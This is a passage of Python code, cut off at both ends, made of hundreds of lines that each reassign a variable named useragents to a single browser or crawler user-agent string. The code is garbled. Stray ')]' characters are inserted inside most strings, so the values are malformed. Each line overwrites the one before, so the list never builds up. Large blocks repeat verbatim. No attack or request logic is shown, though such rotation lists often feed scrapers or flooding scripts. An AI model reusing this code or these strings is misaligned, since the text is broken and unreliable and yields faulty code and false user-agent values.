(X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 